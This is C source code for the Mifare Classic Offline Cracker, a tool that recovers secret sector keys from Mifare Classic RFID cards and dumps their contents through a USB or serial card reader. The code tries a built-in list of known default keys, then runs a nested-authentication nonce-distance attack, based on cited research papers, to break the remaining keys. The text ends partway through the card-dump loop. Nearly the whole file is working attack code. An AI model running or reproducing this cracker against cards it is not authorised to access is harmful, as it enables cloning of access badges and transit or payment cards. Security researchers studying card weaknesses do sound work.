/*-
 * Mifare Classic Offline Cracker
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 *
 * Contact: <mifare@nethemba.com>
 *
 * Porting to libnfc 1.3.3: Michal Boska <boska.michal@gmail.com>
 * Porting to libnfc 1.3.9 and upper: Romuald Conty <romuald@libnfc.org>
 */

/*
 * This implementation was written based on information provided by the
 * following documents:
 *
 * http://eprint.iacr.org/2009/137.pdf
 * http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf
 * http://www.cosic.esat.kuleuven.be/rfidsec09/Papers/mifare_courtois_rfidsec09.pdf
 * http://www.cs.ru.nl/~petervr/papers/grvw_2009_pickpocket.pdf
 */

#pragma warning (disable:4800 4996)
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
// Crapto1
#include "crapto1.h"
// reader API
#include "rd0xAB.h"
#include "mf0xAB.h"
// Internal
#include "mfoc.h"

int __cdecl _tmain(int argc, TCHAR *argv[], TCHAR *envp[])
{
    int         i, k, n, j, m;
    int         key, block;
    int         succeed = 1;

    // Exploit sector
    int         e_sector;
    int         probes = DEFAULT_PROBES_NR;
    int         sets = DEFAULT_SETS_NR;

    // By default, dump 'A' keys
    int         dumpKeysA = true;
    bool        failure = FALSE;
    bool        skip = FALSE;

    // Next default key specified as option (-k)
    BYTE        *defKeys = NULL, *p;
    size_t      defKeys_len = 0;

    // Array with default Mifare Classic keys
    BYTE defaultKeys[][6] = {
        { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, // Default key (first key used by program if no user defined key)
        { 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5 }, // NFCForum MAD key
        { 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5 },
        { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, // Blank key
        { 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7 }, // NFCForum content key
        { 0x4D, 0x3A, 0x99, 0xC3, 0x51, 0xDD },
        { 0x1A, 0x98, 0x2C, 0x7E, 0x45, 0x9A },
        { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF },
        { 0x71, 0x4C, 0x5C, 0x88, 0x6E, 0x97 },
        { 0x58, 0x7E, 0xE5, 0xF9, 0x35, 0x0F },
        { 0xA0, 0x47, 0x8C, 0xC3, 0x90, 0x91 },
        { 0x53, 0x3C, 0xB6, 0xC7, 0x23, 0xF6 },
        { 0x8F, 0xD0, 0xA4, 0xF2, 0x56, 0xE9 } };
    mftag       t;
    denonce     d = { NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, { 0x00, 0x00, 0x00 } };

    // Pointers to possible keys
    pKeys       *pk;
    countKeys   *ck;

    // Pointer to already broken keys, except defaults
    bKeys       *bk;

    // reader's vars
    DWORD       err = LERR_SUCCESS;
    CCR         ccr = { 0 };
    DWORD       port = 0, cbr = 0;
    BYTE        sc_uidlen, sc_uid[SZ_UID];
    BYTE        sc_key[6];
    bool        autophd = FALSE;
    BYTE        auth_timeout = AUTH_TIMEOUT_FIXL;

    FILE        *pfDump = NULL;
    DWORD       fnm_arg = 0;    // arg number with filename

    _ftprintf(stdout, TEXT("Mifare Classic Offline Cracker, V%s, API %s.\n--\n"), PACKAGE_VERSION, RDRAPI_VER);
    // Parse command line arguments
    for (i = 1; i < argc; i++)
    {
        if (!_tcscmp(argv[i], TEXT("-P")))      // Number of probes
        {
            if ((++i >= argc) || (!(probes = _tstoi(argv[i]))) || (probes < 1))
            {
                _ftprintf(stdout, TEXT("The number of probes must be a positive number!\n"));
                goto error; // exit
            }
        }
        else if (!_tcscmp(argv[i], TEXT("-T"))) // Nonce tolerance range
        {
            int     res;
            if ((++i >= argc) || (((res = _tstoi(argv[i])) < 0)))
            {
                _ftprintf(stdout, TEXT("The nonce distances range must be a zero or a positive number!\n"));
                goto error; // exit
            }
            d.tolerance = (DWORD)res;
        }
        else if (!_tcscmp(argv[i], TEXT("-k"))) // Add this key to the default keys
        {
            if (++i >= argc)
            {
                _ftprintf(stdout, TEXT("Premature end in -k option!\n"));
                goto error; // exit
            }
            if (!(p = (BYTE*)realloc(defKeys, defKeys_len + 6)))
            {
                _ftprintf(stdout, TEXT("Cannot allocate memory for defKeys!\n"));
                goto error; // exit
            }
            defKeys = p;
            memset(defKeys + defKeys_len, 0, 6);
            num_to_bytes(_tcstoui64(argv[i], NULL, 16), 6, defKeys + defKeys_len);
            _ftprintf(stdout, TEXT("The custom key 0x%012llX has been added to the default keys.\n--\n"), bytes_to_num(defKeys + defKeys_len, 6));
            defKeys_len = defKeys_len + 6;
        }
        else if (!_tcscmp(argv[i], TEXT("-O"))) // File output
        {
            if (fnm_arg)
            {
                _ftprintf(stdout, TEXT("More then one -O option!\n"));
                goto error; // exit
            }
            if (++i >= argc)
            {
                _ftprintf(stdout, TEXT("Premature end in -O option!\n"));
                goto error; // exit
            }
            if ((pfDump = _tfopen(argv[i], TEXT("wb"))) == NULL)
            {
                _ftprintf(stdout, TEXT("Cannot open: %s, exiting\n"), argv[i]);
                goto error; // exit
            }
            fclose(pfDump);
            pfDump = NULL;
            DeleteFile(argv[i]);    // delete dump file
            fnm_arg = i;            // save argument number
        }
        else if (!_tcscmp(argv[i], TEXT("-h"))) // help
        {
            usage(stdout);
            goto error; // exit
        }
        else if (!_tcsncicmp(argv[i], TEXT("-COM"), 4)) // COM port
        {
            int     res;
            if (port)
            {
                _ftprintf(stdout, TEXT("More then one -COM option!\n"));
                goto error; // exit
            }
            if (((i + 1) >= argc) || (((res = _tstoi(&argv[i][4])) <= 0)) || (res > 255))
            {
                _ftprintf(stdout, TEXT("The COM range must be a positive number 1..255!\n"));
                goto error; // exit
            }
            port = (DWORD)res;
            if ((((res = _tstoi(argv[++i])) <= 0)) || (res <= 0) || (res > 115200))
            {
                _ftprintf(stdout, TEXT("The COM baud rate must be a positive number 1..115200!\n"));
                goto error; // exit
            }
            cbr = (DWORD)res;
        }
        else if (!_tcsncicmp(argv[i], TEXT("-APHD"), 5))    // auto level mode
        {
            if (++i >= argc)
            {
                _ftprintf(stdout, TEXT("Premature end in -AUTOPHD option!\n"));
                goto error; // exit
            }
            if ((_tcsncicmp(argv[i], TEXT("ON"), 2)) && (_tcsncicmp(argv[i], TEXT("OFF"), 3)))
            {
                _ftprintf(stdout, TEXT("The AUTOPHD option must be ON or OFF!\n"));
                goto error; // exit
            }
            if (!_tcsncicmp(argv[i], TEXT("ON"), 2)) autophd = true;
            else autophd = FALSE;
        }
    }
    if (!fnm_arg)
    {
        _ftprintf(stdout, TEXT("Parameter -O is mandatory!\n"));
        goto error; // exit
    }

    // Initialize reader/tag structures
    if (port)
    {
        if ((err = link_comopen(port, cbr, &ccr)) != LERR_SUCCESS) goto error;
    }
    else
    {
        if ((err = link_hidopen(0, NULL, &ccr)) != LERR_SUCCESS) goto error;
    }
    {
        BYTE        model = 0, hw = 0, isobuf[2];
        DWORD       sn = 0;
        bool        invf = FALSE;   // invalid card type
        BYTE        sc_type, sc_sak, sc_atslen, sc_ats[SZ_ATS];
        WORD        sc_atqa;

        // Initialize reader/tag structures
        if (((err = mfInit(&ccr, &model, &hw, &sn))) && (err != LERR_FAIL)) goto error;
        _ftprintf(stdout, TEXT("%s. RD-0%XAB, HW: %X.%X, SN:%08X.\n--\n"),
            (ccr.inbuf) ? TEXT("USB") : TEXT("COM"), model, hw >> 4, hw & 15, sn);
        // connecting to a card
        _ftprintf(stdout, TEXT("Determining card type... "));
        sc_uidlen = MFDM_RWC;
        if ((err = mfType(&ccr, 3, &sc_type, &sc_uidlen, sc_uid, &sc_atqa, &sc_sak, &sc_atslen, sc_ats)) != LERR_SUCCESS) goto error;
        if (autophd)
        {
            auth_timeout = AUTH_TIMEOUT_AUTO;
            _ftprintf(stdout, TEXT("Complete. PHD level AUTO.\n"));
        }
        else
        {
            auth_timeout = AUTH_TIMEOUT_FIXL;
            // read phd level
            if ((err = mfSelect(&ccr, 7, PICC_REQALL, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) goto error;
            if ((err = link_packet(&ccr, CMG_ISO, 0, NULL, 0, isobuf, 2)) != LERR_SUCCESS) goto error;
            // fix phd level
            if ((err = link_packet(&ccr, CMS_ISO, isobuf[1] | 0x20, NULL, 0, NULL, 0)) != LERR_SUCCESS) goto error;
            _ftprintf(stdout, TEXT("Complete. Fix PHD level at %u.\n"), isobuf[1] & 0x1F);
        }
        // initialize vars by card type
        if (sc_type == SCD_UL)
        {
            _ftprintf(stdout, TEXT("UL"));
            invf = true;
        }
        else if (sc_type == SCD_CL1K)
        {
            _ftprintf(stdout, TEXT("CL1K"));
            t.num_blocks = NR_BLOCKS_1k;
            t.num_sectors = NR_TRAILERS_1k;
        }
        else if (sc_type == SCD_CL4K)
        {
            _ftprintf(stdout, TEXT("CL4K"));
            t.num_blocks = NR_BLOCKS_4k;
            t.num_sectors = NR_TRAILERS_4k;
        }
        else if (sc_type == SCD_CL1K1)
        {
            _ftprintf(stdout, TEXT("CL1K1"));
            t.num_blocks = NR_BLOCKS_1k;
            t.num_sectors = NR_TRAILERS_1k;
        }
        else if (sc_type == SCD_CL4K1)
        {
            _ftprintf(stdout, TEXT("CL4K1"));
            t.num_blocks = NR_BLOCKS_4k;
            t.num_sectors = NR_TRAILERS_4k;
        }
        else if (sc_type == SCD_PL2S1)
        {
            _ftprintf(stdout, TEXT("PL2S1"));
            t.num_blocks = NR_BLOCKS_2k;
            t.num_sectors = NR_TRAILERS_2k;
        }
        else if (sc_type == SCD_PL4S1)
        {
            _ftprintf(stdout, TEXT("PL4S1"));
            t.num_blocks = NR_BLOCKS_4k;
            t.num_sectors = NR_TRAILERS_4k;
        }
        else if (sc_type == SCD_PL2S2)
        {
            _ftprintf(stdout, TEXT("PL2S2"));
            t.num_blocks = NR_BLOCKS_2k;
            t.num_sectors = NR_TRAILERS_2k;
        }
        else if (sc_type == SCD_PL4S2)
        {
            _ftprintf(stdout, TEXT("PL4S2"));
            t.num_blocks = NR_BLOCKS_4k;
            t.num_sectors = NR_TRAILERS_4k;
        }
        else if (sc_type == SCD_PL2S3)
        {
            _ftprintf(stdout, TEXT("PL2S3"));
            t.num_blocks = NR_BLOCKS_2k;
            t.num_sectors = NR_TRAILERS_2k;
        }
        else if (sc_type == SCD_PL4S3)
        {
            _ftprintf(stdout, TEXT("PL4S3"));
            t.num_blocks = NR_BLOCKS_4k;
            t.num_sectors = NR_TRAILERS_4k;
        }
        else if (sc_type == SCD_MINI)
        {
            _ftprintf(stdout, TEXT("MINI"));
            t.num_blocks = NR_BLOCKS_MINI;
            t.num_sectors = 1;
        }
        else if (sc_type == SCD_DF1)
        {
            _ftprintf(stdout, TEXT("DF1"));
            invf = true;
        }
        else if (sc_type == SCD_DF2)
        {
            _ftprintf(stdout, TEXT("DF2"));
            invf = true;
        }
        else if (sc_type == SCD_SMMX)
        {
            _ftprintf(stdout, TEXT("SMMX"));
            t.num_blocks = NR_BLOCKS_1k;
            t.num_sectors = NR_TRAILERS_1k;
        }
        else if (sc_type == SCD_SM1K)
        {
            _ftprintf(stdout, TEXT("SM1K"));
            t.num_blocks = NR_BLOCKS_1k;
            t.num_sectors = NR_TRAILERS_1k;
        }
        else if (sc_type == SCD_SM2K)
        {
            _ftprintf(stdout, TEXT("SM2K"));
            t.num_blocks = NR_BLOCKS_2k;
            t.num_sectors = NR_TRAILERS_2k;
        }
        else if (sc_type == SCD_SM4K)
        {
            _ftprintf(stdout, TEXT("SM4K"));
            t.num_blocks = NR_BLOCKS_4k;
            t.num_sectors = NR_TRAILERS_4k;
        }
        else
        {
            // Get Mifare Classic type from SAK
            // see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2
            if (sc_sak == 0x08)
            {
                _ftprintf(stdout, TEXT("UNKNOWN-1K"));
                t.num_sectors = NR_TRAILERS_1k;
                t.num_blocks = NR_BLOCKS_1k;
            }
            else if (sc_sak == 0x09)
            {
                _ftprintf(stdout, TEXT("UNKNOWN-MINI"));
                t.num_sectors = NR_TRAILERS_MINI;
                t.num_blocks = NR_BLOCKS_MINI;
            }
            else if (sc_sak == 0x18)
            {
                _ftprintf(stdout, TEXT("UNKNOWN-4K"));
                t.num_sectors = NR_TRAILERS_4k;
                t.num_blocks = NR_BLOCKS_4k;
            }
            else
            {
                _ftprintf(stdout, TEXT("UNKNOWN"));
                invf = true;
            }
        }
        if (sc_uidlen & 0x80) _ftprintf(stdout, TEXT("-RW"));
        if (sc_uidlen)
        {
            _ftprintf(stdout, TEXT(", UID="));
            for (i = 0; (i < (sc_uidlen & 0x0F)) && (i < SZ_UID); i++)
                _ftprintf(stdout, TEXT("%02X"), sc_uid[i]);
        }
        _ftprintf(stdout, TEXT(", ATQA=%04X, SAK=%02X"), sc_atqa, sc_sak);
        if (sc_atslen)
        {
            _ftprintf(stdout, TEXT(".\nATS="));
            for (i = 0; (i < sc_atslen) && (i < SZ_ATS); i++)
                _ftprintf(stdout, TEXT("%02X"), sc_ats[i]);
            if (sc_atslen == 1) _ftprintf(stdout, TEXT(" (not supported)"));
        }
        _ftprintf(stdout, TEXT(".\n--\n"));
        if ((invf) || (sc_uidlen & 0x80))
        {
            _ftprintf(stdout, TEXT("Only Mifare Classic compatible is supported!\n"));
            goto error;
        }
    }
    // set authorization UID (4b)
    t.authuid = (DWORD)bytes_to_num(&sc_uid[(sc_uidlen & 15) - 4], 4);
    t.sectors = (sector *)calloc(t.num_sectors, sizeof(sector));
    if (t.sectors == NULL)
    {
        _ftprintf(stdout, TEXT("Cannot allocate memory for t.sectors!\n"));
        goto error;
    }
    if ((pk = (pKeys *)malloc(sizeof(pKeys))) == NULL)
    {
        _ftprintf(stdout, TEXT("Cannot allocate memory for pk!\n"));
        goto error;
    }
    if ((bk = (bKeys *)malloc(sizeof(bKeys))) == NULL)
    {
        _ftprintf(stdout, TEXT("Cannot allocate memory for bk"));
        goto error;
    }
    else
    {
        bk->brokenKeys = NULL;
        bk->size = 0;
    }
    d.distances = (DWORD *)calloc(d.num_distances, sizeof(DWORD));
    if (d.distances == NULL)
    {
        _ftprintf(stdout, TEXT("Cannot allocate memory for t.distances!\n"));
        goto error;
    }
    // Initialize t.sectors, keys are not known yet
    for (BYTE s = 0; s < (t.num_sectors); ++s)
    {
        t.sectors[s].foundKeyA = t.sectors[s].foundKeyB = FALSE;
    }
    _ftprintf(stdout, TEXT("Try to authenticate to all sectors with default keys...\n"));
    _ftprintf(stdout, TEXT("Symbols: '.' no key found, '/' A key found, '\\' B key found, 'x' both found.\n"));

    // Iterate over all keys (n = number of keys)
    n = sizeof(defaultKeys) / sizeof(defaultKeys[0]);
    size_t defKey_bytes_todo = defKeys_len;
    key = 0;
    while (key < n)
    {
        if (defKey_bytes_todo > 0)
        {
            memcpy(sc_key, defKeys + defKeys_len - defKey_bytes_todo, sizeof(sc_key));
            defKey_bytes_todo -= sizeof(sc_key);
        }
        else
        {
            memcpy(sc_key, defaultKeys[key], sizeof(sc_key));
            key++;
        }
        _ftprintf(stdout, TEXT("[Key: %012llX] -> ["), bytes_to_num(sc_key, 6));
        i = 0; // Sector counter
        // Iterate over every block, where we haven't found a key yet
        for (block = 0; block <= t.num_blocks; ++block)
        {
            if (trailer_block(block))
            {
                if (!t.sectors[i].foundKeyA)
                {
                    // _ftprintf(stdout, TEXT("\nSCA: %012llX"), bytes_to_num(sc_key, 6));

                    if ((err = mfSetAK(&ccr, 0, sc_key)) != LERR_SUCCESS) goto error;
                    if (((err = mfAuth(&ccr, auth_timeout, PICC_AUTHENT1A, 0, block, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) &&
                        (err != LERR_INVALIDKEY)) goto error;
                    if (err == LERR_SUCCESS)
                    {
                        // Save all information about successfull keyA authentization
                        memcpy(t.sectors[i].KeyA, sc_key, sizeof(sc_key));
                        t.sectors[i].foundKeyA = true;
                        // Although KeyA can never be directly read from the data sector, KeyB can, so
                        // if we need KeyB for this sector, it should be revealed by a data read with KeyA
                        // todo - check for duplicates in cracked key list (do we care? will not be huge overhead)
                        // todo - make code more modular! :)
                        if (!t.sectors[i].foundKeyB)
                        {
                            BYTE        sc_data[16];
                            if (((err = mfDataRead(&ccr, 7, MFDM_NMC | MFDM_BLOCK, PICC_AUTHENT1A, 0, block, 1, sc_data, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) &&
                                (err != LERR_INVALIDKEY) && (err != LERR_DATAREAD)) goto error;
                            if (err == LERR_SUCCESS)
                            {
                                // print only for debugging as it messes up output!
                                // _ftprintf(stdout, TEXT("  Data read with Key A revealed Key B: [%012llX] - checking Auth: "), bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
                                if ((err = mfSetAK(&ccr, 0, &sc_data[10])) != LERR_SUCCESS) goto error;
                                if (((err = mfAuth(&ccr, auth_timeout, PICC_AUTHENT1B, 0, block, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) &&
                                    (err != LERR_INVALIDKEY)) goto error;
                                if (err == LERR_SUCCESS)
                                {
                                    //_ftprintf(stdout, TEXT("OK\n"));
                                    memcpy(t.sectors[i].KeyB, &sc_data[10], sizeof(sc_key));
                                    t.sectors[i].foundKeyB = true;
                                    bk->size++;
                                    bk->brokenKeys = (DWORD64 *)realloc((void *)bk->brokenKeys, bk->size * sizeof(DWORD64));
                                    bk->brokenKeys[bk->size - 1] = bytes_to_num(sc_key, sizeof(sc_key));
                                }
                            }
                        }
                    }
                }
                // if key reveal failed, try other keys
                if (!t.sectors[i].foundKeyB)
                {
                    // _ftprintf(stdout, TEXT("\nSCB: %012llX"), bytes_to_num(sc_key, 6));
                    if ((err = mfSetAK(&ccr, 0, sc_key)) != LERR_SUCCESS) goto error;
                    if (((err = mfAuth(&ccr, auth_timeout, PICC_AUTHENT1B, 0, block, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) &&
                        (err != LERR_INVALIDKEY)) goto error;
                    if (err == LERR_SUCCESS)
                    {
                        memcpy(t.sectors[i].KeyB, sc_key, sizeof(sc_key));
                        t.sectors[i].foundKeyB = true;
                    }
                    else
                    {
                        // No success, try next block
                        t.sectors[i].trailer = block;
                    }
                }
                if ((t.sectors[i].foundKeyA) && (t.sectors[i].foundKeyB))
                {
                    _ftprintf(stdout, TEXT("x"));
                }
                else if (t.sectors[i].foundKeyA)
                {
                    _ftprintf(stdout, TEXT("/"));
                }
                else if (t.sectors[i].foundKeyB)
                {
                    _ftprintf(stdout, TEXT("\\"));
                }
                else
                {
                    _ftprintf(stdout, TEXT("."));
                }
                fflush(stdout);
                // Save position of a trailer block to sector struct
                t.sectors[i++].trailer = block;
            }
        }
        _ftprintf(stdout, TEXT("]\n"));
    }
    _ftprintf(stdout, TEXT("--\n"));
    for (i = 0; i < (t.num_sectors); ++i)
    {
        TCHAR       szKeyA[32], szKeyB[32];

        if (t.sectors[i].foundKeyA)
            _stprintf(szKeyA, TEXT("%012llX"), bytes_to_num(t.sectors[i].KeyA, 6));
        else
            _stprintf(szKeyA, TEXT("------------"));

        if (t.sectors[i].foundKeyB)
            _stprintf(szKeyB, TEXT("%012llX"), bytes_to_num(t.sectors[i].KeyB, 6));
        else
            _stprintf(szKeyB, TEXT("------------"));

        _ftprintf(stdout, TEXT("Sector %02d - A:%12s, B:%12s\n"), i, szKeyA, szKeyB);
    }
    _ftprintf(stdout, TEXT("--\n"));
    fflush(stdout);

    // Return the first (exploit) sector encrypted with the default key or -1 (we have all keys)
    // or -2 if fatall error
    if ((e_sector = find_exploit_sector(t)) == -2)
    {
        err = LERR_SUCCESS;
        goto error;
    }

    // mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd'); // AUTH + Get Distances mode
    // Recover key from encrypted sectors, j is a sector counter
    for (m = 0; m < 2; ++m)
    {
        if (e_sector == -1) break; // All keys are default, I am skipping recovery mode
        for (j = 0; j < (t.num_sectors); ++j)
        {
            if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB))
            {
                // First, try already broken keys
                _ftprintf(stdout, TEXT("Check broken keys ... "));
                skip = FALSE;
                for (DWORD o = 0; o < bk->size; o++)
                {
                    num_to_bytes(bk->brokenKeys[o], 6, sc_key);
                    if ((err = mfSetAK(&ccr, 0, sc_key)) != LERR_SUCCESS) goto error;
                    if (((err = mfAuth(&ccr, auth_timeout, (dumpKeysA) ? PICC_AUTHENT1A : PICC_AUTHENT1B,
                        0, t.sectors[j].trailer, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) && (err != LERR_INVALIDKEY)) goto error;
                    if (err == LERR_SUCCESS)
                    {
                        // Save all information about successfull authentization
                        _ftprintf(stdout, TEXT("\rSector: %d, type %c     \n"), j, (dumpKeysA ? 'A' : 'B'));
                        if (dumpKeysA)
                        {
                            memcpy(t.sectors[j].KeyA, sc_key, 6);
                            t.sectors[j].foundKeyA = true;
                            // if we need KeyB for this sector it should be revealed by a data read with KeyA
                            if (!t.sectors[j].foundKeyB)
                            {
                                BYTE     sc_data[16];

                                if (((err = mfDataRead(&ccr, 7, MFDM_NMC | MFDM_BLOCK, PICC_AUTHENT1A, 0, t.sectors[j].trailer, 1, sc_data, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) &&
                                    (err != LERR_INVALIDKEY) && (err != LERR_DATAREAD)) goto error;
                                if (err == LERR_SUCCESS)
                                {
                                    _ftprintf(stdout, TEXT("  Data read with Key A revealed Key B: [%012llX] - checking Auth: "), bytes_to_num(&sc_data[10], 6));
                                    if ((err = mfSetAK(&ccr, 0, &sc_data[10])) != LERR_SUCCESS) goto error;
                                    if (((err = mfAuth(&ccr, auth_timeout, PICC_AUTHENT1B, 0, t.sectors[j].trailer, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) &&
                                        (err != LERR_INVALIDKEY)) goto error;
                                    if (err != LERR_SUCCESS)
                                    {
                                        _ftprintf(stdout, TEXT("Failed!\n"));
                                    }
                                    else
                                    {
                                        _ftprintf(stdout, TEXT("OK\n"));
                                        memcpy(t.sectors[j].KeyB, sc_key, 6);
                                        t.sectors[j].foundKeyB = true;
                                        bk->size++;
                                        bk->brokenKeys = (DWORD64 *)realloc((void *)bk->brokenKeys, bk->size * sizeof(DWORD64));
                                        bk->brokenKeys[bk->size - 1] = bytes_to_num(sc_key, 6);
                                    }
                                }
                            }
                        }
                        else
                        {
                            memcpy(t.sectors[j].KeyB, sc_key, 6);
                            t.sectors[j].foundKeyB = true;
                        }
                        _ftprintf(stdout, TEXT("  Found Key: %c [%012llX]\n"), (dumpKeysA ? 'A' : 'B'), bytes_to_num(sc_key, 6));
                        if ((err = mfBeep(&ccr, 2)) != LERR_SUCCESS) goto error;
                        skip = true;
                        break;
                    }
                }
                if (skip) continue; // We have already revealed key, go to the next iteration

                // Max probes for auth for each sector
                for (k = 0; k < probes; ++k)
                {
                    for (;;)
                    {
                        // Try to authenticate to exploit sector and determine distances (filling denonce.distances)
                        if (!mf_enhanced_auth(e_sector, 0, t, &ccr, &d, pk, 'd', dumpKeysA))    // AUTH + Get Distances mode
                        {
                            wint_t      keyp;
                            _ftprintf(stdout, TEXT("\nFatal error at extended authenticate in distance mode!\nCan try to change the card position and reader?\n"));
                            if ((err = mfBeep(&ccr, 3)) != LERR_SUCCESS) goto error;

                            _ftprintf(stdout, TEXT("\nContinue? "));
                            while(((keyp = _gettch()) != 'n') && (keyp != 'N') && (keyp != 'y') && (keyp != 'Y')) {};
                            if ((keyp == 'n') || (keyp == 'N'))
                            {
                                _ftprintf(stdout, TEXT("No.\n"));
                                err = LERR_SUCCESS;
                                goto error;
                            }
                            else _ftprintf(stdout, TEXT("Yes. "));
                        }
                        else break;
                    }
                    _ftprintf(stdout, TEXT("\rSector: %d, type %c, probe %d, distance %d "), j, (dumpKeysA ? 'A' : 'B'), k, d.median);

                    pk->possibleKeys = NULL;
                    pk->size = 0;
                    // We have 'sets' * 32b keystream of potential keys
                    for (n = 0; n < sets; n++)
                    {
                        for (;;)
                        {
                            // AUTH + Recovery key mode (for a_sector), repeat 5 times
                            if (!mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, &ccr, &d, pk, 'r', dumpKeysA))
                            {
                                wint_t      keyp;
                                _ftprintf(stdout, TEXT("\nFatal error at extended authenticate in recovery mode!\nCan try to change the card position and reader?\n"));
                                if ((err = mfBeep(&ccr, 3)) != LERR_SUCCESS) goto error;

                                _ftprintf(stdout, TEXT("\nContinue? "));
                                while(((keyp = _gettch()) != 'n') && (keyp != 'N') && (keyp != 'y') && (keyp != 'Y')) {};
                                if ((keyp == 'n') || (keyp == 'N'))
                                {
                                    _ftprintf(stdout, TEXT("No.\n"));
                                    err = LERR_SUCCESS;
                                    goto error;
                                }
                                else _ftprintf(stdout, TEXT("Yes. "));
                            }
                            else break;
                        }
                        _ftprintf(stdout, TEXT("."));
                        fflush(stdout);
                    }
                    _ftprintf(stdout, TEXT("\n"));
                    // Get first 15 grouped keys
                    ck = uniqsort(pk->possibleKeys, pk->size);
                    for (i = 0; i < TRY_KEYS; i++)
                    {
                        // We don't known this key, try to break it
                        // This key can be found here two or more times
                        if (ck[i].count > 0)
                        {
                            // _ftprintf(stdout,TEXT("%d %llX\n"),ck[i].count, ck[i].key);
                            // Set required authetication method
                            num_to_bytes(ck[i].key, 6, sc_key);
                            if ((err = mfSetAK(&ccr, 0, sc_key)) != LERR_SUCCESS) goto error;
                            if (((err = mfAuth(&ccr, auth_timeout, (dumpKeysA) ? PICC_AUTHENT1A : PICC_AUTHENT1B,
                                0, t.sectors[j].trailer, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) && (err != LERR_INVALIDKEY)) goto error;
                            if (err == LERR_SUCCESS)
                            {
                                // Save all information about successfull authentization
                                bk->size++;
                                bk->brokenKeys = (DWORD64 *)realloc((void *)bk->brokenKeys, bk->size * sizeof(DWORD64));
                                bk->brokenKeys[bk->size - 1] = bytes_to_num(sc_key, 6);
                                if (dumpKeysA)
                                {
                                    memcpy(t.sectors[j].KeyA, sc_key, 6);
                                    t.sectors[j].foundKeyA = true;
                                }
                                else
                                {
                                    memcpy(t.sectors[j].KeyB, sc_key, 6);
                                    t.sectors[j].foundKeyB = true;
                                }
                                _ftprintf(stdout, TEXT("  Found Key: %c [%012llX]\n"), (dumpKeysA ? 'A' : 'B'), bytes_to_num(sc_key, 6));
                                if ((err = mfBeep(&ccr, 2)) != LERR_SUCCESS) goto error;
                                // if we need KeyB for this sector, it should be revealed by a data read with KeyA
                                if (!t.sectors[j].foundKeyB)
                                {
                                    BYTE     sc_data[16];

                                    if (((err = mfDataRead(&ccr, 7, MFDM_NMC | MFDM_BLOCK, PICC_AUTHENT1A, 0, t.sectors[j].trailer, 1, sc_data, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) &&
                                        (err != LERR_INVALIDKEY) && (err != LERR_DATAREAD)) goto error;
                                    if (err == LERR_SUCCESS)
                                    {
                                        _ftprintf(stdout, TEXT("  Data read with Key A revealed Key B: [%012llX] - checking Auth: "), bytes_to_num(&sc_data[10], 6));
                                        memcpy(sc_key, &sc_data[10], 6);
                                        if ((err = mfSetAK(&ccr, 0, sc_key)) != LERR_SUCCESS) goto error;
                                        if (((err = mfAuth(&ccr, auth_timeout, PICC_AUTHENT1B, 0, t.sectors[j].trailer, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) &&
                                            (err != LERR_INVALIDKEY)) goto error;
                                        if (err != LERR_SUCCESS)
                                        {
                                            _ftprintf(stdout, TEXT("Failed!\n"));
                                        }
                                        else
                                        {
                                            _ftprintf(stdout, TEXT("OK\n"));
                                            memcpy(t.sectors[j].KeyB, &sc_data[10], 6);
                                            t.sectors[j].foundKeyB = true;
                                            bk->size++;
                                            bk->brokenKeys = (DWORD64 *)realloc((void *)bk->brokenKeys, bk->size * sizeof(DWORD64));
                                            bk->brokenKeys[bk->size - 1] = bytes_to_num(sc_key, 6);
                                        }
                                    }
                                }
                                break;
                            }
                        }
                    }
                    free(pk->possibleKeys);
                    free(ck);
                    // Success, try the next sector
                    if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
                }
                // We haven't found any key, exiting
                if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB))
                {
                    _ftprintf(stdout, TEXT("No success, maybe you should increase the probes"));
                    err = LERR_SUCCESS;
                    goto error;
                }
            }
        }
        dumpKeysA = FALSE;
    }

    for (i = 0; i < (t.num_sectors); ++i)
    {
        if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB))
        {
            _ftprintf(stdout, TEXT("\nTry again, there are still some encrypted blocks\n"));
            succeed = 0;
            break;
        }
    }

    if (succeed)
    {
        BYTE        sc_dump[256][16];   // card dump
        DWORD       cnt;                // temporary var

        if ((err = mfBeep(&ccr, 4)) != LERR_SUCCESS) goto error;

        memset(sc_dump, 0, sizeof(sc_dump));    // reset card buffer
        i = 0;                                  // Sector counter, max = t.num_sectors;
        _ftprintf(stdout, TEXT("--\nAuth with all sectors succeeded, dumping keys to a file!\n\n"));
        // Read all blocks
        for (block = 0; block <= t.num_blocks; block++)
        {
